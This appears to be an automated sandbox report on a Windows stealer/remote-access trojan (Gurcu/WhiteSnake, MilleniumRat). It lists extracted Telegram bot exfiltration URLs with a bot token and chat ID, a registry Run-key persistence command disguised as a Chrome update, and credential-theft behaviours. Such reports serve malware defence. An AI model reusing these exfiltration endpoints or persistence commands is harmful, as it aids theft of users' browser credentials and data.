Analysis
- max time kernel
92s - max time network
140s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
11/11/2024, 18:11
General
- Target e0338c845a876d585eceb084311e84f3becd6fa6f0851567ba2c5f00eeaf4ecf.exe
- Size 5.6MB
- Sample241111-ws12lstanj
- SHA256 e0338c845a876d585eceb084311e84f3becd6fa6f0851567ba2c5f00eeaf4ecf
Malware Config
Extracted
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gurcu
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https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/sendDocument?chat_id=-1002245526003&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0.25%20kb
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https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/sendMessage?chat_id=-1002245526003
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https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/getUpdates?offset=-
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https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/sendDocument?chat_id=-1002245526003&caption=%F0%9F%93%B8Screenshot%20take
Signatures
- Gurcu family
- Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
- MilleniumRat
MilleniumRat is a remote access trojan written in C#.
- Milleniumrat family
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 2 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Adds Run key to start application 2 TTPs 1 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Enumerates processes with tasklist 1 TTPs 1 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 1 IoCs
- Modifies registry key 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 50 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\e0338c845a876d585eceb084311e84f3becd6fa6f0851567ba2c5f00eeaf4ecf.exe"C:\Users\Admin\AppData\Local\Temp\e0338c845a876d585eceb084311e84f3becd6fa6f0851567ba2c5f00eeaf4ecf.exe"1⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp9C8E.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmp9C8E.tmp.bat2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\tasklist.exeTasklist /fi "PID eq 1852"3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\find.exefind ":"3⤵
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C:\Windows\system32\timeout.exeTimeout /T 1 /Nobreak3⤵
- Delays execution with timeout.exe
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C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe"C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f5⤵
- Adds Run key to start application
- Modifies registry key
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Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
sqlite.interop.dll
tmp9C8E.tmp.bat
Update.exe
memory/1852-7-0x00007FFB290C0000-0x00007FFB29B81000-memory.dmp
memory/1852-0-0x00007FFB290C3000-0x00007FFB290C5000-memory.dmp
memory/1852-8-0x000001F2EF7D0000-0x000001F2EF7EE000-memory.dmp
memory/1852-12-0x00007FFB290C0000-0x00007FFB29B81000-memory.dmp
memory/1852-6-0x000001F2EF890000-0x000001F2EF906000-memory.dmp
memory/1852-1-0x000001F2ECE70000-0x000001F2ED410000-memory.dmp
memory/3116-20-0x000002631D300000-0x000002631D36A000-memory.dmp
memory/3116-19-0x000002631D280000-0x000002631D28A000-memory.dmp
memory/3116-23-0x000002631DF90000-0x000002631DFCA000-memory.dmp
memory/3116-24-0x000002631D370000-0x000002631D396000-memory.dmp
memory/3116-25-0x000002631E1F0000-0x000002631E2A2000-memory.dmp
memory/3116-26-0x000002631E2F0000-0x000002631E340000-memory.dmp
memory/3116-27-0x000002631E340000-0x000002631E362000-memory.dmp
memory/3116-28-0x000002631E370000-0x000002631E69E000-memory.dmp
memory/3116-47-0x000002631E2C0000-0x000002631E2D2000-memory.dmp